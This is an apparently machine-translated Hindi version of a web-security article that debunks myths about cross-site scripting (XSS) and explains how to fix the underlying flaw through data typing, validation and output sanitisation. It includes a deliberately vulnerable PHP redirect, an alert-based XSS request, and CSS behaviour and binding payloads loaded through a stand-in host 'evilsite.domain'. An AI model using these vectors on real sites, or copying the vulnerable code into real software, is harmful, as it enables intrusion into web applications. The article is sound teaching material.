👨‍🔧 🙌🏾 🔲 क्या XSS या क्रॉस-साइट स्क्रिप्टिंग के बारे में पूरी सच्चाई एक भेद्यता नहीं है? 🎭 👩🏾‍🎓 👯

मुझे यह स्वीकार करना चाहिए कि किसी भी लोकप्रिय सेवा या साइट पर अगले XSS का वर्णन करने वाले लगभग किसी भी पोस्ट पर Habré पर टिप्पणियों को पढ़ना किसी को भी परेशान कर सकता है, जो किसी भी तरह वेब एप्लिकेशन की सुरक्षा से जुड़ा है। डेवलपर्स के बीच क्रॉस-साइट स्क्रिप्टिंग के बारे में प्रचलित मिथकों और भ्रांतियों को देखते हुए, यह आश्चर्यजनक नहीं है कि यह अभी भी सबसे आम वेब एप्लिकेशन सुरक्षा मुद्दों में से एक है: 2010-2011 पॉजिटिव टेक्नोलॉजीज रिपोर्ट के अनुसार , XSS उजागर हुआ था 40% का विश्लेषण वेब अनुप्रयोगों, और 2012 की दूसरी तिमाही के लिए फायरहोस्ट की रिपोर्ट से यह इस प्रकार है कि एक्सएसएस होस्टर द्वारा दर्ज किए गए हमलों की संख्या का 27% है।

और चूंकि इस पद को अकेले इसके शीर्षक के लिए भी दोष देना संभव है, इसलिए मैं स्पष्ट करना चाहता हूं: क्रॉस-साइट स्क्रिप्टिंग वास्तव में एक भेद्यता नहीं है, लेकिन केवल इसलिए कि यह एक हमला है। अंतर क्या है, यह क्यों महत्वपूर्ण है, इस सब से कैसे निपटना है, और अन्य मिथक और गलत धारणाएं XSS के बारे में आम हैं - हम कटौती के तहत पढ़ते हैं।

शीर्षकों में सभी गलत धारणाएँ तैयार की जाती हैं, आदेश मनमाना होता है, विशिष्ट हमलों और वास्तविक लोगों के साथ कमजोरियों के उदाहरणों का कोई भी संयोग यादृच्छिक और अनजाने में होता है।

XSS - भेद्यता

जैसा कि ऊपर उल्लेख किया गया है, ऐसा नहीं है। क्रॉस-साइट स्क्रिप्टिंग एक हमला है, दोनों ओडब्ल्यूएएसपी संस्करण और डब्ल्यूएएससी संस्करण के अनुसार (हालांकि निश्चित रूप से हमने पढ़ने के ~~मैनुअल को~~ स्वीकार नहीं किया है)। दूसरे शब्दों में, XSS भेद्यता के एक विशिष्ट वर्ग के शोषण के संभावित तरीकों में से एक है। उदाहरण के लिए, निम्न कोड में केवल एक भेद्यता है, लेकिन एक साथ कई वर्गों के हमलों के लिए अतिसंवेदनशील है:

<?php header( 'Refresh: 5; url=' . $_GET['url']); ?> <html> <head> <meta http-equiv="refresh" content="5;url=<?=$_GET['url']?>"></meta> </head> </html>

सबसे पहले, यह कोड पुनर्निर्देशन कार्यक्षमता के दुरुपयोग के लिए अतिसंवेदनशील है, जिसका एक्सएसएस से कोई लेना-देना नहीं है। दूसरे, फॉर्म के अनुरोध के द्वारा http://localhost/?url="><script>alert("XSS")</script><!-- क्रॉस-साइट स्क्रिप्टिंग को आसानी से और स्वाभाविक रूप से लागू किया जाता है। तीसरा, यदि वेब। - इस एप्लिकेशन को एक ऐसे वातावरण में तैनात किया जाएगा जो 4.4.2 या 5.1.2 से कम कैनोनिकल PHP संस्करणों का उपयोग करता है, या तीसरे पक्ष के PHP कार्यान्वयन की एक संख्या है, फिर यह कोड HTTP प्रतिसादों को विभाजित करने और छिपाने के हमलों के लिए भी असुरक्षित होगा (और वेब अनुप्रयोग की सुरक्षा नहीं होनी चाहिए जितना संभव हो पर्यावरण की सुरक्षा पर निर्भर)।

भेद्यता और हमले के बीच अंतर यह है कि भेद्यता का उन्मूलन आपको उन सभी हमलों से छुटकारा पाने की अनुमति देता है जो इसे शोषण करते हैं, लेकिन एक विशिष्ट हमले का उन्मूलन भेद्यता से राहत नहीं देता है। एक सरल उदाहरण: यदि हम इस XSS को भेद्यता मानते हैं, तो इसे स्क्रिप्ट में दिए गए URL के प्रत्येक टुकड़े के URL एन्कोडिंग का उपयोग करके समाप्त कर देते हैं, तो यह पुनर्निर्देशन कार्यक्षमता के दुरुपयोग की संभावना को प्रभावित नहीं करेगा - हमलावर अभी भी उपयोगकर्ता को पुनर्निर्देशित करने में सक्षम होगा मनमाना, सही ढंग से बना URL। परिणामों से लड़ने के बजाय, हमें कारण को दूर करना चाहिए, अर्थात्, बहुत ही भेद्यता को खत्म करना, जो हमें इन सभी हमलों को पूरा करने की अनुमति देता है। इस स्थिति में, भेद्यता यह है कि वेब सर्वर द्वारा स्क्रिप्ट के लिए या आउटपुट में उपयोग करने से पहले GET url पैरामीटर को ठीक से संसाधित नहीं किया जाता है। कृपया प्यार और पक्ष लें: यह भेद्यता इनपुट और आउटपुट डेटा के गलत प्रसंस्करण के वर्गों से संबंधित है और सबसे आम भेद्यता है जिसके कारण आज ज्ञात अधिकांश हमलों को अंजाम देना संभव है। इसलिए, इस भेद्यता को समाप्त करने के लिए, दोनों प्रकार के डेटा का सही और पर्याप्त प्रसंस्करण सुनिश्चित करना आवश्यक है, जबकि यह स्पष्ट है कि इस मामले में, URL एन्कोडिंग पर्याप्त नहीं है। हम थोड़ी देर बाद इस मुद्दे पर वापस आएंगे।

XSS निष्क्रिय और सक्रिय है

"जब आप पूरी तरह से ऊब महसूस करते हैं, तो अपने सहयोगियों के साथ शब्दावली के बारे में बहस शुरू करें" (सी)। लेकिन यहाँ सिद्धांत की बात है, क्षमा करें। मुझे नहीं मालूम, किसके लिए धन्यवाद, यह समलैंगिक वर्गीकरण रूसी-भाषी डेवलपर्स पर लगाया गया था (एक राय है कि रूसी विकिपीडिया पर XSS के लेख ने इसके वितरण में योगदान दिया था), लेकिन ऐसा अलगाव, हालांकि ऐसा होता है, गैर-पूरी तरह से बेकार है, क्योंकि किसी विशेष XSS के सभी गुणों को प्रतिबिंबित नहीं करता है जो वास्तव में वेब एप्लिकेशन की सुरक्षा का विश्लेषण करने और उसमें संबंधित कमजोरियों को दूर करने के दृष्टिकोण से महत्वपूर्ण हैं। यह पारंपरिक रूप से और गलती से माना जाता है कि XSS निष्क्रिय हो सकता है (उपयोगकर्ता को भेजे जाने के लिए विशेष रूप से गठित लिंक की आवश्यकता होती है और उसे इसका पालन करने के लिए आश्वस्त करता है) और सक्रिय (सर्वर पर संग्रहीत और उपयोगकर्ता द्वारा अनावश्यक इशारों के बिना ट्रिगर किया गया)। हालांकि, निम्नलिखित उदाहरण पर विचार करें: मान लें कि हब्र इंजन में भेद्यता है जो आपको हब्रोटोपिक पाठ में <a> टैग के src विशेषता से परे जाने की अनुमति देता है, लेकिन आपको टैग से परे जाने की अनुमति नहीं देता है। यह स्पष्ट है कि इस भेद्यता का उपयोग किसी लिंक पर हॉवर करने, उस पर क्लिक करने, आदि के लिए एक हैंडलर को परिभाषित करके XSS हमले का उपयोग किया जा सकता है। प्रश्न: क्या इस तरह का हमला निष्क्रिय या सक्रिय है? एक ओर, लिंक सर्वर पर संग्रहीत है, इसे हमला करने वाले उपयोगकर्ताओं को वितरित करने की आवश्यकता नहीं है, यह सक्रिय प्रतीत होता है। दूसरी ओर, एक सफल हमले के लिए अतिरिक्त उपयोगकर्ता कार्यों की आवश्यकता होती है, जो केवल निष्क्रिय हमलों के लिए विशिष्ट है। विरोधाभास? इसीलिए, XSS को दो मानदंडों के अनुसार वर्गीकृत करने की प्रथा है: वेक्टर और एक्सपोज़र की विधि। दूसरा ठीक वही "सक्रिय / निष्क्रिय" है, लेकिन अधिक समझदार योगों के साथ: XSS सक्रिय है, जिसे निष्क्रिय के विपरीत, वेब अनुप्रयोग की कार्यक्षमता के मामले में उपयोगकर्ता की ओर से किसी भी अनावश्यक क्रिया की आवश्यकता नहीं है। और प्रभाव वेक्टर के अनुसार, XSS परिलक्षित होता है (सर्वर द्वारा उसी अनुरोध के जवाब में सर्वर द्वारा लौटाया जाता है जिसमें ऑपरेशन वेक्टर प्रेषित होता था), स्थिर (सर्वर पर संग्रहीत और सभी अनुरोधों में एक ही अनुरोध पर उपलब्ध होता है जिसमें ऑपरेशन वेक्टर नहीं होता है) दस्तावेज़ के ऑब्जेक्ट मॉडल के आधार पर (जिसका कार्यान्वयन सर्वर से कोई अनुरोध भेजे बिना संभव है)। इस प्रकार, किसी हमले के दिए गए उदाहरण के वर्गीकरण का सही उत्तर है: "स्थिर-निष्क्रिय"।

XSS उपयोगकर्ता पर एक हमला है और इसका उद्देश्य उसके ब्राउज़र में एक मनमाना स्क्रिप्ट निष्पादित करना है

जाहिर है, यह पूरी तरह सच नहीं है। पीड़ित के ब्राउज़र में एक मनमाना स्क्रिप्ट निष्पादित करने के लिए, उसे किसी हमलावर द्वारा नियंत्रित सर्वर पर स्थित विशेष रूप से तैयार पृष्ठ पर ले जाने के लिए पर्याप्त होगा। XSS का उद्देश्य केवल एक मनमाना स्क्रिप्ट निष्पादित करना नहीं है, बल्कि एकल स्रोत नीतियों ( समान उत्पत्ति नीति, SOP ) को बायपास करने के लिए किसी विशेष साइट के स्रोत के संदर्भ में और इसके परिणामस्वरूप, वेब एप्लिकेशन के क्लाइंट भाग के डेटा और कार्यक्षमता तक पहुंच प्राप्त करना है। उपयोगकर्ता सत्र और उसके उपयोगकर्ता के अधिकारों के साथ। यह एक हमला है, सबसे पहले, एक वेब एप्लिकेशन पर जो इसमें एक खतरे को लागू करता है, और उपयोगकर्ता के ब्राउज़र में नहीं।

PHDays 2012 सम्मेलन में, " सुरक्षा वेब 2.0। उन्नत तकनीक " अनुभाग के दौरान, इसके मेजबान एंडर्स रैंचो ने दर्शकों से एक सरल सवाल पूछा: "उन लोगों के लिए अपने हाथ बढ़ाएं जो जानते हैं कि एकल-स्रोत नीतियां क्या हैं।" जैसा कि मैं वहां था, मैं पुष्टि करने के लिए तैयार हूं: एक तिहाई दर्शकों, जिनमें पूरी तरह से वेब डेवलपर्स और सुरक्षा विशेषज्ञ शामिल हैं, ने हाथ खड़े कर दिए। वीडियो में यह ऐतिहासिक क्षण है, यह केवल एक अफ़सोस की बात है कि पूरे दर्शकों को उस क्षण फ्रेम में नहीं मिला। ईमानदारी से, मुझे समझ में नहीं आता है कि आप वेब सुरक्षा पर डेवलपर या विशेषज्ञ कैसे हो सकते हैं और आधुनिक ब्राउज़रों की सुरक्षा के लिए बुनियादी तंत्र के बारे में नहीं जानते हैं, इसलिए मैंने खुद के लिए फैसला किया कि लोग किसी विदेशी के सामने हाथ उठाने से कतराते हैं। हालांकि, इन नीतियों का एक सरल अवलोकन भी पैराग्राफ के एक जोड़े की बात नहीं है, इसलिए मैं माइकल ज़ाल्स्की द्वारा इलेक्ट्रॉनिक पुस्तक " ब्राउज़र सिक्योरिटी हैंडबुक " के दूसरे भाग के लिए सभी इच्छुक भेज सकता हूं। यह विषय उसी लेखक द्वारा द टैंगल्ड वेब में और भी गहरा कवर किया गया है। वैसे, वेब अनुप्रयोगों के सुरक्षा या विश्लेषण में शामिल सभी लोगों द्वारा पढ़ने की सिफारिश की जाती है।

XSS लड़ना उपयोगकर्ता की समस्या है, और वास्तव में XSS गंभीर नहीं है

यह पूरी तरह से स्पष्ट नहीं है कि एक वेब एप्लिकेशन पर यह हमला (ऊपर देखें) अचानक उपयोगकर्ता की समस्या बन गया, न कि इस एप्लिकेशन के मालिक या डेवलपर्स। यहां, सवाल यह है कि उपयोगकर्ताओं के संरक्षित कार्य को सुनिश्चित करने में उनकी स्थिति क्या है। एक्सएसएस के कार्यान्वयन से जुड़े जोखिम वास्तव में अक्सर प्रकृति में प्रतिष्ठित हैं। हालाँकि, अगर हम इस बारे में बात करते हैं कि उपयोगकर्ताओं के लिए सफल XSS के परिणाम कितने गंभीर हो सकते हैं, तो मैं अपने सहयोगी डेनिस बरानोव की रिपोर्ट "एक्सएसएस के माध्यम से रूट", ज़ीरोनाइट्स 2011 सम्मेलन में प्रस्तुत करने और एक चौराहे पर हमले के माध्यम से वेब डेवलपर्स के कंप्यूटर तक विशेषाधिकार प्राप्त करने के लिए समर्पित होने की सलाह देता हूं। स्क्रिप्ट निष्पादन (दुर्भाग्य से, केवल स्लाइड उपलब्ध हैं, लेकिन सामान्य विचार, मुझे लगता है, वीडियो के बिना समझ में आ जाएगा)। संसाधन की प्रतिष्ठा को नुकसान कितना मजबूत होगा यदि, अपने ग्राहक पक्ष पर XSS का उपयोग करते हुए, हमलावर अपने उपयोगकर्ताओं के कंप्यूटर तक असीमित पहुंच प्राप्त करते हैं? इस तथ्य को देखते हुए कि बहुत सारे उपकरण हैं जो मास XSS को स्क्रिप्टिंग में बदलते हैं: कम से कम, समान बीईएफ । इसके अलावा, यह मत भूलो कि, XSS के दृष्टिकोण से, वेब अनुप्रयोग प्रशासक बिल्कुल वही उपयोगकर्ता हैं, जो बाकी सभी (जिनकी समस्याएं कथित रूप से इस वर्ग के हमलों के खिलाफ लड़ाई हैं, हाँ)।

XSS केवल HTML या क्लाइंट स्क्रिप्ट में इंजेक्शन के परिणामस्वरूप संभव है

इतना ही नहीं। उदाहरण के लिए, HTTP प्रतिक्रिया को विभाजित करने वाले उपरोक्त हमले का उपयोग करने के तरीकों में से एक एचटीएमएल दस्तावेज़ (और इसलिए क्लाइंट स्क्रिप्ट, यदि आवश्यक हो) को सीधे HTTP हेडर में एम्बेड करना है, जो इंजेक्शन के अधीन है। पुनर्निर्देशन की कार्यक्षमता का दुरुपयोग अच्छी तरह से डेटा: या जावास्क्रिप्ट: योजना का उपयोग करके ब्राउज़र को URL पर पुनर्निर्देशित करने के लिए किया जा सकता है। इसके अलावा, XSS का संचालन करने के लिए पुनर्निर्देशित हमले का एक अधिक गैर-स्पष्ट उपयोग भी संभव है। उदाहरण के लिए, हमारे वेब अनुप्रयोग में, पहले से ही माना गया पुनर्निर्देशन समस्या के साथ प्रवेश बिंदु के अलावा ( /redirect.php?url= पर उपलब्ध), निम्नलिखित कोड के साथ एक बिंदु भी है:

 <html> <head> <link rel="stylesheet" href="/themes/<?=$theme?>.css" type="text/css" /> </head>

इसी समय, GET अनुरोध के मापदंडों से प्राप्त $theme वैरिएबल को संसाधित करने से सभी उद्धरण चिह्नों को हटाने के साथ-साथ बैकस्लैश और टैग (बस मामले में) कम हो जाते हैं, जो हमलावर के लिए href विशेषता से परे जाना असंभव बनाता है। हालांकि, XSS के लिए यह आवश्यक नहीं है। मान के $theme पैरामीटर $theme का उपयोग करना ../redirect.php?url=http://evilsite.domain/evilstylesheet हमलावर पृष्ठ में एक मनमाना शैली शीट एम्बेड करने में सक्षम है। IE या FF के लिए सामग्री पत्रक का उपयोग करना

 body { behavior:url(../redirect.php?url=http://evilsite.domain/evilscript.htc); }

और

 body { -moz-binding: url(../redirect.php?url=http://evilsite.domain/evilscript.xml#evilcode); }

क्रमशः, और अपने सर्वर पर evilscript.htc फाइलें रखकर:

 <PUBLIC:COMPONENT TAGNAME="xss"> <PUBLIC:ATTACH EVENT="ondocumentready" ONEVENT="main()" LITERALCONTENT="false"/> </PUBLIC:COMPONENT> <SCRIPT> function main() { alert("XSS"); } </SCRIPT>

और evilscript.xml:

 <?xml version="1.0"?> <bindings xmlns="http://www.mozilla.org/xbl" xmlns:html="http://www.w3.org/1999/xhtml"> <binding id="mycode"> <implementation> <constructor> alert("XSS"); </constructor> </implementation> </binding> </bindings>

वह इन दो ब्राउज़रों के उपयोगकर्ताओं के लिए XSS में सफल होता है। बेशक, एक ही शैली परिभाषाओं में सीधे इंजेक्शन लगाने के लिए जाता है।

UPD: जैसा कि टिप्पणियों में सुझाया गया है, -मोज़-बाइंडिंग ने हाल ही में एक लंबे जीवन का आदेश दिया , अफसोस।

विभिन्न ब्राउज़रों और HTML संस्करणों में हमलावर के लिए उपलब्ध अधिकांश XSS वैक्टर HTML5 सुरक्षा चिपसेट पर सूचीबद्ध हैं। वहां आप इस अनुभाग के शीर्षक में दिए गए प्रश्न का विस्तृत उत्तर पा सकते हैं।

मैंने जिस फ्रेमवर्क का इस्तेमाल किया है, वह XSS के खिलाफ बिल्ट-इन ऑटोमैटिक प्रोटेक्शन है, इसलिए मुझे इसकी चिंता नहीं करनी चाहिए

दरअसल, कई आधुनिक रूपरेखाओं में इस तरह के संरक्षण को लागू किया जाता है। कोड इग्नाइटर में XSS फ़िल्टरिंग तंत्र, Django और RoR में मानक टेम्पलेट इंजन कार्यक्षमता, ASP.NET/MVC आदि में वेब प्रोटेक्शन लाइब्रेरी और रिक्वेस्ट वैलिडेशन मैकेनिज्म आदि। आदि यह निश्चित रूप से महान है और इस कार्यक्षमता का उपयोग न करना मूर्खता होगी। यह ध्यान में नहीं लेना भी बेवकूफी है कि:

कोई सर्वर फ्रेम डोम आधारित XSS से वेब एप्लिकेशन की सुरक्षा नहीं कर सकता;
XSS के खिलाफ स्वचालित सुरक्षा के लिए कोई भी मौजूदा तंत्र सार्वभौमिक और किसी भी प्रतिबंध से रहित नहीं है जिसे ध्यान में रखा जाना चाहिए;
इन तंत्रों द्वारा कार्यान्वित कार्यक्षमता का उद्देश्य हमलों की एक विशिष्ट श्रेणी का मुकाबला करना है और कोड कमजोरियों में अपर्याप्त डेटा प्रसंस्करण से रक्षा नहीं कर सकता है;

इसलिए, आपको अभी भी ध्यान रखने की ज़रूरत है, यह सिर्फ इतना है कि कुछ रूपरेखाओं में यह एक दिनचर्या नहीं होगी और इसके लिए महत्वपूर्ण समय की आवश्यकता होगी।

XSS को खत्म करने के लिए, यह उन सभी लाइनों को स्क्रीन करने के लिए पर्याप्त है जो HTML दस्तावेज़ में आती हैं

पर्याप्त नहीं है, ऊपर पहले से ही क्यों माना जाता है। हमें XSS को खत्म करने की आवश्यकता नहीं है, लेकिन इसके कारण होने वाली भेद्यता, जो हमें सुरक्षित डाटा प्रोसेसिंग की आवश्यकता की ओर ले जाती है। चूंकि यह विषय एक अलग (और बल्कि बड़ा) लेख पर आता है, इसलिए मैं इस तरह के प्रसंस्करण के कार्यान्वयन के मुख्य चरणों को संक्षेप में प्रस्तुत करूंगा:

डेटा आत्मविश्वास का निर्धारण

सबसे पहले, उन सभी डेटा धाराओं की पहचान करना आवश्यक है जिनकी अखंडता या प्रामाणिकता वेब एप्लिकेशन के माना घटक के भीतर नियंत्रित नहीं है। एक वेब एप्लिकेशन घटक, एक नियम के रूप में (हालांकि हमेशा नहीं), इसका अर्थ है इसके सर्वर या क्लाइंट भाग के तत्व, जो एक ओएस प्रक्रिया के ढांचे के भीतर निष्पादित होते हैं।

उपरोक्त उदाहरण में, अविश्वसनीय (और केवल) डेटा GET अनुरोध स्ट्रिंग से प्राप्त यूआरएल पैरामीटर है।

सभी अविश्वसनीय डेटा टाइप करना

घटक में इस तरह के डेटा की घटना के स्थान के करीब संभव के रूप में, अपेक्षित प्रकारों के लिए उनके रूपांतरण को सुनिश्चित करना आवश्यक है। स्थिर भाषाओं में, यह एहसास होता है, वास्तव में, सत्यापित डेटा के डिसेरिएलाइज़ेशन या पार्सिंग के आधार पर इस प्रकार का उदाहरण प्रस्तुत करने या बनाने के द्वारा। इसके अलावा, स्थैतिक भाषाओं में निर्मित अधिकांश आधुनिक रूपरेखाओं में, इस कार्यक्षमता को पहले से ही क्वेरी पैरामीटर को मॉडल ऑब्जेक्ट के लिए तंत्र में लागू किया जाता है। गतिशील भाषाओं में, सब कुछ कुछ दुखद है क्योंकि वास्तव में, आप केवल एक कलाकार का अनुकरण करने के बारे में बात कर सकते हैं (जो, हालांकि, किए जाने की आवश्यकता है)। फिर भी, इस तरह के सशर्त टाइपिंग के सक्षम कार्यान्वयन की गारंटी होगी कि हमारे घटक में ठीक उसी प्रकार के डेटा होंगे जिनके लिए यह काम करने के लिए डिज़ाइन किया गया है। घटक के अंदर डेटा के साथ आगे के सभी काम केवल इनपुट डेटा के आधार पर बनाई गई वस्तुओं के माध्यम से किए जाने चाहिए। यह याद रखना महत्वपूर्ण है कि टाइपिंग चरण का मूल सिद्धांत अपने आउटपुट पर स्ट्रिंग प्रकार की वस्तुओं की सबसे छोटी संभव संख्या है। URL, ईमेल पते, दिनांक, समय आदि। टाइप करने के बाद, उन्हें स्ट्रिंग के अलावा विशिष्ट प्रकार की वस्तुएं होना चाहिए। केवल डेटा जो वास्तव में एक स्ट्रिंग है, अर्थात्। जिसमें वास्तव में मनमाना पूर्ण-वर्णनात्मक पाठ हो सकता है।

हमारे मामले में, यह parse_url () फ़ंक्शन का उपयोग करने और परिणामी सरणी के तत्वों में अतिरिक्त अंडरस्कोर की उपस्थिति के लिए एक चेक को लागू करने के लिए पर्याप्त है, मूल URL में निषिद्ध वर्णों की उपस्थिति का संकेत देता है (क्रमशः, यदि इस तरह के वर्ण पाए गए या यदि parse_url () वापस लौट आए, तो एक त्रुटि के साथ पूरा हो जाएगा। FALSE)। इस घटना में कि क्वेरी कुंजी परिणामी सरणी में मौजूद है, यह parse_str () का उपयोग करके इसे पार्स करने के लिए भी आवश्यक है और इसे परिणामी सहयोगी सरणी के साथ क्वेरी पैरामीटर के साथ बदलें।

सभी टाइप किए गए अविश्वसनीय डेटा की मान्यता

टाइप करने के तुरंत बाद, घटक कार्यात्मक के अनुपालन के लिए प्राप्त वस्तुओं के शब्दार्थ को जांचना चाहिए। उदाहरण के लिए, पूर्णांक प्रकार या दिनांक / समय के लिए - यह एक सीमा की जाँच होगी (शायद ही, नकारात्मक पृष्ठ संख्या या इसमें धन हस्तांतरण राशि कार्यात्मक की अपेक्षाओं को पूरा करती है), स्ट्रिंग के लिए, ज्यादातर मामलों में, नियमित अभिव्यक्ति के लिए जाँच करना पर्याप्त होगा। और अधिक जटिल प्रकार की वस्तुओं के लिए, इसके प्रत्येक क्षेत्र और गुणों के शब्दार्थ जांच को लागू करना आवश्यक है। कोई भी सत्यापन जांच हमेशा श्वेत सूची सिद्धांत पर आधारित होनी चाहिए, अर्थात डेटा शब्दार्थ को आवश्यक मानदंडों को पूरा करना चाहिए, और इसके विपरीत नहीं। इस चरण का उद्देश्य एक गारंटी प्राप्त करना है कि घटक के अंदर सभी डेटा इसमें लागू कार्यक्षमता के अनुरूप होंगे और इसका उल्लंघन नहीं कर पाएंगे।

मान लीजिए कि हमारे "वेब एप्लिकेशन" में पुनर्निर्देशन केवल आपके डोमेन के ढांचे के भीतर ही किया जा सकता है। इस मामले में, हमें यह सुनिश्चित करने की आवश्यकता है कि parse_url () के परिणामस्वरूप प्राप्त सरणी में केवल पथ, क्वेरी और टुकड़ा कुंजी मौजूद हैं। किसी भी अन्य कुंजियों की खोज के लिए एक सत्यापन त्रुटि और अनुरोध प्रसंस्करण की समाप्ति के परिणामस्वरूप होना चाहिए, जब तक कि योजना, होस्ट और वेब एप्लिकेशन डोमेन पर इंगित न हो। एक अधिक सामान्य मामले में, यह वास्तव में बहुत अच्छा होगा यदि वेब एप्लिकेशन में उपयोग किए जाने वाले रूटिंग तंत्र हमें वास्तव में मौजूदा नियंत्रक के अनुपालन के लिए पथ की जांच करने की अनुमति देता है। और यह वास्तव में अच्छा है अगर आप क्वेरी में मापदंडों के साथ भी ऐसा कर सकते हैं (खंड का उल्लेख नहीं करना है)।

आउटपुट स्वच्छता

उन सभी जगहों पर जहां हमारे द्वारा मान्य और टाइप की गई घटक घटक सीमाएं छोड़ देते हैं (या जहां उनके आधार पर आउटपुट डेटा बनता है), उन्हें एक ऐसे रूप में लाना आवश्यक है जो प्राप्त पक्ष के लिए सुरक्षित है। एक नियम के रूप में, यह उन्हें (फ़िल्टरिंग) से असुरक्षित तत्वों को हटाने या सुरक्षित समकक्षों (परिरक्षण) में परिवर्तित करके प्राप्त किया जाता है। स्वच्छता को उस स्थान पर पर्याप्त रूप से लागू किया जाना चाहिए जहां डेटा समाप्त हो जाएगा। इसलिए, उनके आधार पर एक HTML दस्तावेज़ के गठन के मामले में, क्लाइंट स्क्रिप्ट या शैली परिभाषाओं के पाठ में टैग के अंदर, टैग के अंदर, विशिष्ट टैग विशेषताओं के बीच गिरने वाले डेटा को सही ढंग से परिरक्षण करने के तरीके अलग-अलग होंगे। दूसरे शब्दों में, htmlspecialchars () एक सार्वभौमिक स्क्रीनिंग टूल नहीं है जो हमेशा हर जगह पर्याप्त होगा।

हमारे मामले में, यह पथ तत्वों का निर्माण करते समय (या__tt_http) से http तत्वों को बनाने के लिए http_build_query () का उपयोग करके क्वेरी के भाग और url_encode () का उपयोग करके ऑब्जेक्ट के पिछले चरणों के आधार पर सही URL उत्पन्न करने के लिए पर्याप्त है।

तथ्य की बात के रूप में, ये नियम इस वर्ग की भेद्यता के कारण होने वाले किसी भी हमले के लिए प्रासंगिक हैं। उदाहरण के लिए, एसक्यूएल स्टेटमेंट , ओएस कमांड आदि के कार्यान्वयन के लिए। यह भी ध्यान दिया जाना चाहिए कि यद्यपि अधिकांश डेवलपर्स लंबे समय से जानते हैं कि क्लाइंट से सर्वर को प्राप्त होने वाले डेटा पर भरोसा नहीं किया जा सकता है, लगभग कोई नहीं सोचता है कि विपरीत भी सच है, समान कारणों से।फिर भी, यदि संरक्षित डेटा प्रसंस्करण क्लाइंट पक्ष पर लागू किया गया था, तो यह सर्वर पर कमजोरियों के शोषण से जुड़े क्लाइंट हमलों के जोखिमों को कम करने की अनुमति देगा।

कुछ के लिए, ये नियम निरर्थक और अनावश्यक लग सकते हैं, लेकिन एक वास्तविक (पढ़ें: बड़े और जटिल) वेब एप्लिकेशन में, एक्सएसएस से छुटकारा पाने का कोई अन्य तरीका "यह केवल पर्याप्त है ..." हमले के खिलाफ लड़ाई होगी, और नहीं भेद्यता के साथ। परिणाम के साथ कि सूचना सुरक्षा कंपनियों की रिपोर्ट में जल्द या बाद में विशिष्ट संख्या में बदल जाते हैं।

उपसंहार के रूप में: यह पता चला है कि आपको हमलों से लड़ने की आवश्यकता नहीं है?

फिर भी आवश्यकतानुसार। सिर्फ जवाबी हमले के लिए रक्षा के दूसरे स्तर के रूप में जाना चाहिए और कमजोरियों को दूर करने के साधन के रूप में उपयोग नहीं किया जाना चाहिए। अंत में, मैं एक और सलाह दूंगा कि क्लाइंट पक्ष (केवल XSS) पर हमलावर के कार्य को महत्वपूर्ण रूप से कैसे जटिल किया जाए। सभी सर्वर प्रतिक्रियाओं में निम्नलिखित हेडर होने चाहिए:

X-Content-Type-Options: nosniff
msdn.microsoft.com/en-us/library/ie/gg622941 (v = vs85) .aspx

X-XSS-Protection: 1; मोड = ब्लॉक
msdn.microsoft.com/en-us/library/dd565647 (v = बनाम 85) .aspx

X- फ़्रेम-विकल्प: DENY
blogs.msdn.com/b/ieinternals/archive/2010/03/30/30/ कॉम्बिंग-क्लिकजैकिंग-विथ-एक्स-फ्रेम-ऑप्शंस.स्पेक्स

एक्स-कंटेंट-सिक्योरिटी-पॉलिसी:[शीर्ष लेख के मूल्य के अनुसार कार्यात्मक साइट के लिए तकनीकी आवश्यकताओं के आधार के रूप के लिए आवश्यक है dvcs.w3.org/hg/content-security-policy/raw-file/tip/csp-specification.dev.html ]

सख्त-परिवहन-सुरक्षा : max-age = expireTime
developer.mozilla.org/en/Security/HTTP_Strict_Transport_Security

प्रत्येक के उद्देश्य को स्पष्ट करें, दिए गए लिंक पर टेक्स्ट को डुप्लिकेट करते हुए - मुझे लगता है कि इसका कोई मतलब नहीं है।

सौभाग्य है

क्या XSS या क्रॉस-साइट स्क्रिप्टिंग के बारे में पूरी सच्चाई एक भेद्यता नहीं है?